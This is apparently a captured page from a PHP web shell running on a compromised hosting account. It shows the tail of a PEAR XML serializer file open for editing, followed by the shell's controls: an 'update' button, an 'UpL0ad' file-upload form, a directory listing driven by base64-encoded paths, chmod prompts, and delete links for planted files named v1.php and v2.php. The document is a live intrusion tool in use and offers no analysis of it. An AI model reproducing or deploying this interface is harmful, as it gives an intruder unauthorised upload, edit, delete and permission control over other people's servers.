            $tag[&#039;content&#039;] = &#039;&#039;;
        }

        if (is_scalar($tag[&#039;content&#039;]) || is_null($tag[&#039;content&#039;])) {
            if ($replaceEntities === true) {
                $replaceEntities = XML_UTIL_ENTITIES_XML;
            }

            $tag = XML_Util::createTagFromArray($tag, $replaceEntities, $multiline, $indent, $this-&gt;options[&#039;linebreak&#039;]);
        } elseif (is_array($tag[&#039;content&#039;])) {
            $tag = $this-&gt;_serializeArray($tag[&#039;content&#039;], $tag[&#039;qname&#039;], $tag[&#039;attributes&#039;]);
        } elseif (is_object($tag[&#039;content&#039;])) {
            $tag = $this-&gt;_serializeObject($tag[&#039;content&#039;], $tag[&#039;qname&#039;], $tag[&#039;attributes&#039;]);
        } elseif (is_resource($tag[&#039;content&#039;])) {
            settype($tag[&#039;content&#039;], &#039;string&#039;);
            $tag = XML_Util::createTagFromArray($tag, $replaceEntities);
        }
        return  $tag;
    }
}
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1s">/home/induvedam/public_html</a><hr>curdir: /opt/alt/php83/usr/share/pear/PEAR/PackageFile/Generator<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvUEVBUi9QYWNrYWdlRmlsZS9HZW5lcmF0b3I="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvUEVBUi9QYWNrYWdlRmlsZS9HZW5lcmF0b3I=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>34</td></tr><tr><td></td><td><a href="?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvUEVBUi9QYWNrYWdlRmlsZQ=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvUEVBUi9QYWNrYWdlRmlsZS9HZW5lcmF0b3I=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>75</td></tr><tr><td><a href="?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvUEVBUi9QYWNrYWdlRmlsZS9HZW5lcmF0b3I=&x=djEucGhw">X</a></td><td><a href="?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvUEVBUi9QYWNrYWdlRmlsZS9HZW5lcmF0b3I=&f=djEucGhw"/>v1.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvUEVBUi9QYWNrYWdlRmlsZS9HZW5lcmF0b3I=&f=djEucGhw&c=`+btoa(c):0" value="0644"></td><td>50353</td></tr><tr><td><a href="?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvUEVBUi9QYWNrYWdlRmlsZS9HZW5lcmF0b3I=&x=djIucGhw">X</a></td><td><a href="?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvUEVBUi9QYWNrYWdlRmlsZS9HZW5lcmF0b3I=&f=djIucGhw"/>v2.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvUEVBUi9QYWNrYWdlRmlsZS9HZW5lcmF0b3I=&f=djIucGhw&c=`+btoa(c):0" value="0644"></td><td>33225</td></tr></table>